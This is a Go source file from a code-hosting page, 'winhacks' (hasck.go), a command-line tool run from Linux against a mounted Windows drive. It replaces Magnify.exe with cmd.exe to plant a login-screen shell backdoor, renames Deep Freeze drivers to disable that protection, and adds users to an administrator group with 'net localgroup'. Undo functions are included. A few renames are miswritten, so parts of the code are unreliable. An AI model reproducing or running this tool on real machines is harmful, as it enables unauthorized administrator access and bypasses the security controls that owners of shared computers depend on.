-
Notifications
You must be signed in to change notification settings - Fork 0
/
hasck.go
161 lines (152 loc) · 6.01 KB
/
hasck.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
/*
winhacks --- some tools for give you power on windows from linux
Copyright (C) 2016 Lucca Prado a.k.a chloe risk
This program is free software; you can redistribute it and/or
modify it under the terms of the GNU General Public License
as published by the Free Software Foundation; either version 2
of the License, or (at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.
*/
package main
import (
"fmt"
"os"
"os/exec"
)
func main() {
fmt.Println("winhacks --- some tools for give you power on windows from linux")
fmt.Println("Created By Lucca Prado a.k.a Chloe ")
option := ""
optiontwo := ""
if len(os.Args) > 1 && len(os.Args) < 3 {
option = os.Args[1]
if option == "--help" {
fmt.Println("your options:")
fmt.Println("--help = shows this screen")
fmt.Println("--admin = try the admin hack")
fmt.Println("--normaluser = try to reverse operation admin hack")
fmt.Println("--deepthaw = try to thaw deepfreeze")
fmt.Println("--normalfreeze = try to reverse operation deepthaw")
fmt.Println("--adminuser = add specified user to admin")
} else if option == "--admin" {
admin()
} else if option == "--normaluser" {
normaluser()
} else if option == "--deepthaw" {
deepthaw()
} else if option == "--normalfreeze" {
normalfreeze()
} else if option == "--adminuser" { //used only on windows build
adminuser()
} else {
fmt.Println("you don't entered an valid option, use --help to see options")
os.Exit(0)
}
} else if len(os.Args) > 2 && len(os.Args) < 4 {
option = os.Args[1]
optiontwo = os.Args[2]
fmt.Println("you choose option", option, optiontwo) // For debug
} else {
option = ""
fmt.Println("you don't entered an valid option, use --help to see options")
os.Exit(0)
}
}
func admin() {
winlocation := ""
right := ""
fmt.Print("\033[H\033[2J")
fmt.Println("you chose the admin function, lets start :3")
fmt.Println("first, where is your windows mounted(with ending slash too): ")
fmt.Scanln(&winlocation)
fmt.Println("ok, windows location is", winlocation)
winlocationsys := winlocation + "Windows/System32/"
fmt.Println("so, system32 is on", winlocationsys, "Right?(Y/N)")
fmt.Scanln(&right)
if right == "Y" || right == "y" {
fmt.Println("ok, let's do this")
os.Rename(winlocationsys+"Magnify.exe", winlocationsys+"Magnify.old")
os.Rename(winlocationsys+"cmd.exe", winlocationsys+"Magnify.exe")
fmt.Println("all done, now you can start magnify hack on reboot")
} else {
admin()
}
}
func normaluser() {
winlocation := ""
right := ""
fmt.Print("\033[H\033[2J")
fmt.Println("you chose the admin function, lets start :3")
fmt.Println("first, where is your windows mounted(with ending slash too): ")
fmt.Scanln(&winlocation)
fmt.Println("ok, windows location is", winlocation)
winlocationsys := winlocation + "Windows/System32/"
fmt.Println("so, system32 is on", winlocationsys, "Right?(Y/N)")
fmt.Scanln(&right)
if right == "Y" || right == "y" {
fmt.Println("ok, let's do this")
os.Rename(winlocationsys+"Magnify.exe", winlocationsys+"cmd.exe")
os.Rename(winlocationsys+"Magnify.old", winlocationsys+"Magnify.exe")
fmt.Println("all done, now you are with your computer normal again")
}
}
func deepthaw() {
fmt.Print("\033[H\033[2J")
winlocation := ""
right := ""
fmt.Print("\033[H\033[2J")
fmt.Println("you chose the deepthaw function, lets start :3")
fmt.Println("first, where is your windows mounted(with ending slash too): ")
fmt.Scanln(&winlocation)
fmt.Println("ok, windows location is", winlocation)
winlocationsys := winlocation + "Windows/System32/"
fmt.Println("so, system32 is on", winlocationsys, "Right?(Y/N)")
fmt.Scanln(&right)
if right == "Y" || right == "y" {
fmt.Println("ok, let's do this")
os.Rename(winlocationsys+"\\drivers\\DeepFrz.sys", winlocationsys+"\\drivers\\DeepFrz.sys.chloe")
os.Rename(winlocationsys+"\\drivers\\DFFilter.sys", winlocationsys+"\\drivers\\DFFilter.sys.chloe")
os.Rename(winlocationsys+"\\drivers\\DfDiskLo.sys", winlocationsys+"\\drivers\\DfDiskLo.sys.chloe")
os.Rename(winlocationsys+"\\drivers\\FarDisk.sys", winlocationsys+"\\drivers\\FarDisk.sys.chloe")
os.Rename(winlocationsys+"\\drivers\\DfDiskLo.sys", winlocationsys+"\\drivers\\FarSpace.sys.chloe")
fmt.Println("all done, now you can use windows as thawed, just reboot")
}
}
func normalfreeze() {
fmt.Print("\033[H\033[2J")
winlocation := ""
right := ""
fmt.Print("\033[H\033[2J")
fmt.Println("you chose the deepfreeze function, lets start :3")
fmt.Println("first, where is your windows mounted(with ending slash too): ")
fmt.Scanln(&winlocation)
fmt.Println("ok, windows location is", winlocation)
winlocationsys := winlocation + "Windows/System32/"
fmt.Println("so, system32 is on", winlocationsys, "Right?(Y/N)")
fmt.Scanln(&right)
if right == "Y" || right == "y" {
fmt.Println("ok, let's do this")
os.Rename(winlocationsys+"\\drivers\\DeepFrz.sys.chloe", winlocationsys+"\\drivers\\DeepFrz.sys")
os.Rename(winlocationsys+"\\drivers\\DFFilter.sys.chloe", winlocationsys+"\\drivers\\DFFilter.sys")
os.Rename(winlocationsys+"\\drivers\\DfDiskLo.sys.chloe", winlocationsys+"\\drivers\\DfDiskLo.sys")
os.Rename(winlocationsys+"\\drivers\\FarDisk.sys.chloe", winlocationsys+"\\drivers\\FarDisk.sys")
os.Rename(winlocationsys+"\\drivers\\DfDiskLo.sys.chloe", winlocationsys+"\\drivers\\FarSpace.sys")
fmt.Println("all done, now you are with your computer normal again")
}
}
func adminuser() {
admin := ""
user := ""
fmt.Println("please, insert the admin (or other) localgroup name")
fmt.Scanln(&admin)
fmt.Println("please, insert the username")
fmt.Scanln(&user)
c := exec.Command("net", "localgroup", admin, user, "/add")
c.Run()
}